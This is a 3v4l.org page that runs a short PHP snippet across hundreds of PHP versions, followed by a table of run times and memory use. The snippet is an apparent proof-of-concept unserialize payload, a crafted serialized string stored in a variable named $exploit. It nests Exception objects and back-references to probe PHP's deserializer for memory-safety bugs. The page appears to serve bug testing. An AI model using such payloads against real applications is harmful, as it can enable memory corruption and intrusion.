3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $prop; function __wakeup() { $this->prop = 1; } } $exploit = 'a:3:{i:0;O:9:"exception":1:{s:17:"'."\0".'Exception'."\0".'string";a:1:{i:0;a:1:{i:0;i:1;}}}i:1;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0090.00916.63
8.3.50.0150.00721.06
8.3.40.0110.00418.92
8.3.30.0000.01418.79
8.3.20.0040.00420.14
8.3.10.0030.00523.48
8.3.00.0080.00019.68
8.2.180.0100.01018.66
8.2.170.0110.01122.96
8.2.160.0100.00320.53
8.2.150.0000.00825.66
8.2.140.0050.00324.66
8.2.130.0040.00426.16
8.2.120.0030.00617.50
8.2.110.0030.00622.23
8.2.100.0060.00617.63
8.2.90.0030.00619.22
8.2.80.0030.00617.97
8.2.70.0000.00817.63
8.2.60.0030.00517.91
8.2.50.0090.00018.07
8.2.40.0000.00719.21
8.2.30.0000.00918.00
8.2.20.0040.00417.58
8.2.10.0040.00418.02
8.2.00.0000.00717.96
8.1.280.0100.01025.92
8.1.270.0100.00720.32
8.1.260.0000.00826.35
8.1.250.0070.00028.09
8.1.240.0030.00722.47
8.1.230.0030.01217.42
8.1.220.0040.00417.79
8.1.210.0030.00618.77
8.1.200.0090.00017.36
8.1.190.0000.00817.23
8.1.180.0080.00018.10
8.1.170.0050.00318.46
8.1.160.0030.00522.02
8.1.150.0050.00218.80
8.1.140.0030.00517.28
8.1.130.0000.00717.58
8.1.120.0040.00417.48
8.1.110.0030.00517.32
8.1.100.0050.00317.30
8.1.90.0040.00417.33
8.1.80.0080.00017.39
8.1.70.0000.00717.38
8.1.60.0000.00817.52
8.1.50.0040.00417.59
8.1.40.0030.00517.54
8.1.30.0000.00817.66
8.1.20.0040.00417.63
8.1.10.0000.00717.61
8.1.00.0040.00417.41
8.0.300.0080.00018.77
8.0.290.0000.00716.88
8.0.280.0030.00318.40
8.0.270.0000.00717.21
8.0.260.0060.00317.36
8.0.250.0050.00316.94
8.0.240.0060.00017.05
8.0.230.0070.00017.10
8.0.220.0030.00617.01
8.0.210.0000.00716.97
8.0.200.0040.00417.06
8.0.190.0070.00017.08
8.0.180.0040.00416.91
8.0.170.0000.00717.05
8.0.160.0000.00716.97
8.0.150.0000.00716.98
8.0.140.0030.00516.97
8.0.130.0000.00513.37
8.0.120.0050.00316.95
8.0.110.0070.00016.90
8.0.100.0000.00717.03
8.0.90.0040.00416.89
8.0.80.0000.01416.89
8.0.70.0040.00416.89
8.0.60.0070.00016.87
8.0.50.0070.00016.98
8.0.30.0120.00817.18
8.0.20.0100.00917.42
8.0.10.0080.00016.88
8.0.00.0100.00716.81
7.4.330.0000.00615.08
7.4.320.0000.00616.45
7.4.300.0060.00016.51
7.4.290.0070.00016.63
7.4.280.0030.00516.61
7.4.270.0040.00416.64
7.4.260.0030.00716.66
7.4.250.0000.00716.60
7.4.240.0020.00516.47
7.4.230.0030.00316.74
7.4.220.0100.01016.65
7.4.210.0060.00816.65
7.4.200.0040.00416.63
7.4.160.0080.00816.50
7.4.150.0090.01017.40
7.4.140.0090.01317.86
7.4.130.0100.00916.56
7.4.120.0050.01316.63
7.4.110.0100.01316.68
7.4.100.0160.00716.41
7.4.90.0080.01216.59
7.4.80.0190.00319.39
7.4.70.0090.00916.65
7.4.60.0050.01116.50
7.4.50.0000.00916.18
7.4.40.0080.00816.52
7.4.30.0030.01916.57
7.4.00.0070.00715.14
7.3.330.0000.00613.39
7.3.320.0000.00513.25
7.3.310.0000.00716.42
7.3.300.0070.00016.35
7.3.290.0030.00316.28
7.3.280.0080.00916.39
7.3.270.0040.01517.40
7.3.260.0130.01016.42
7.3.250.0090.00916.41
7.3.240.0120.00916.49
7.3.230.0100.01316.43
7.3.210.0110.00616.43
7.3.200.0090.00916.52
7.3.190.0000.01716.40
7.3.180.0030.01216.30
7.3.170.0120.00916.48
7.3.160.0060.00916.51
7.2.330.0140.00716.55
7.2.320.0060.01916.75
7.2.310.0120.00616.52
7.2.300.0070.01116.31
7.2.290.0080.01216.48
7.2.80.0030.01016.40
7.2.60.0040.00816.75
7.2.00.0110.01119.23
7.1.200.0030.00915.75
7.1.100.0000.01117.96
7.1.70.0030.00517.04
7.1.60.0040.00719.27
7.1.50.0090.01516.98
7.1.00.0100.07022.31
7.0.200.0280.00316.67
7.0.60.0100.07720.03
7.0.50.0070.07717.88
7.0.40.0030.07720.27
7.0.30.0400.04320.21
7.0.20.0300.08720.21
7.0.10.0300.08020.10
7.0.00.0170.06320.10
5.6.280.0000.05720.86
5.6.210.0000.08020.54
5.6.200.0170.04718.19
5.6.190.0070.08320.62
5.6.180.0270.05720.48
5.6.170.0230.04020.44
5.6.160.0070.05320.54
5.6.150.0100.06318.15
5.6.140.0000.04318.15
5.6.130.0100.05318.23
5.6.120.0030.05721.15
5.6.110.0130.05720.96
5.6.100.0070.07720.96
5.6.90.0070.06020.98
5.6.80.0100.07720.50
5.6.70.4230.03320.39
5.5.350.0130.07720.35
5.5.340.0000.04017.93
5.5.330.0070.05720.21
5.5.320.0300.05720.38
5.5.310.0200.09020.34
5.5.300.0070.03717.92
5.5.290.0200.07017.93
5.5.280.0070.08320.88
5.5.270.0100.07720.86
5.5.260.0170.05020.65
5.5.250.0030.07720.61
5.5.240.0170.07320.16
5.4.450.0630.07019.56
5.4.440.0600.06319.36
5.4.430.0670.06019.09
5.4.420.0730.07319.57
5.4.410.0700.05319.55
5.4.400.0830.05719.08
5.4.390.0570.06018.88
5.4.380.0700.05019.21
5.4.370.0570.05318.95
5.4.360.0230.05718.78
5.4.350.0100.05318.78
5.4.340.0470.05019.36
5.4.320.0670.06018.78
5.4.310.0470.06019.27
5.4.300.0230.04319.05
5.4.290.0170.06318.95
5.4.280.0730.07318.97
5.4.270.0070.06719.00
5.4.260.0100.05019.05
5.4.250.0400.05018.87
5.4.240.0500.06318.97
5.4.230.0630.05018.77
5.4.220.0670.05318.97
5.4.210.0600.05319.04
5.4.200.0570.06018.79
5.4.190.0630.05719.18
5.4.180.0600.06319.01
5.4.170.0630.05319.05
5.4.160.0700.06719.25
5.4.150.0770.05319.38
5.4.140.0770.03716.70
5.4.130.0730.06716.55
5.4.120.0600.07016.50
5.4.110.0730.06016.62
5.4.100.0770.04716.34
5.4.90.0730.05316.45
5.4.80.0600.05016.47
5.4.70.0170.03316.41
5.4.60.0270.07316.41
5.4.50.0000.05016.52
5.4.40.0000.06716.37
5.4.30.0070.07016.52
5.4.20.0200.04716.40

preferences:
51.37 ms | 401 KiB | 5 Q